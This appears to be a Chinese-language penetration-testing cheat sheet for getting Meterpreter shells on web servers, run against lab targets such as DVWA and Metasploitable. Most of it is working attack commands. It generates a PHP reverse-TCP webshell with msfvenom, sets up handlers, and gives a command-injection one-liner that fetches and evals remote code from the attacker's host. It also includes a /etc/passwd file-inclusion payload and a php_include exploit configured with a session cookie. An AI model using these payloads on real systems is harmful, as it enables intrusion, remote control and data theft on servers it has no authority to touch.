WebShell
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=3333 -f raw -o a.php ?生成a.php
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.80.163
msf exploit(handler) > set lport 3333
msf exploit(handler) > exploit
通過sql注入寫權限、上傳漏洞等,將a.php上傳到目標主機的web目錄下;
通過瀏覽器訪問a.php。http://192.168.80.33/a.php;
MSF會獲得目標主機meterpreter類型的Shell。
sql注入
sqlmap的--os-pwn參數,可以獲得目標的meterpreter類型的shell。
exploit/multi/script/web_delivery模塊,配合命令執行漏洞使用
msf exploit(handler) > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.80.163
msf exploit(web_delivery) > set uripath /
msf exploit(web_delivery) > set srvport 80
msf exploit(web_delivery) > set target 1
在存在命令執行漏洞的網站上,執行下面的命令,MSF會獲得目標主機的Shell。
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.80.167/'));"
文件包含漏洞---exploit/unix/webapp/php_include
環境準備:
dvwa的low級別代碼默認存在本地文件包含漏洞;但是不存在遠程文件包含漏洞,我們需要自己設置。
http://192.168.80.135/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
從phpinfo中獲取到如下信息。
在metasploitable上編輯/etc/php5/cgi/php.ini文件,將allow_url_fopen和allow_url_include都設置成On,然后重啟Apache服務。
sudo /etc/init.d/apache2 restart
漏洞利用過程:
msf > use exploit/unix/webapp/php_include
msf exploit(php_include) > set rhost 192.168.80.135
msf exploit(php_include) > set path /dvwa/vulnerabilities/fi
msf exploit(php_include) > set phpuri /?page=XXpathXX
msf exploit(php_include) > set headers "Cookie: security=low; PHPSESSID=69fb8940243aa75ba98a8e6698139671"
msf exploit(php_include) > set payload php/meterpreter/reverse_tcp
msf exploit(php_include) > set lhost 192.168.80.163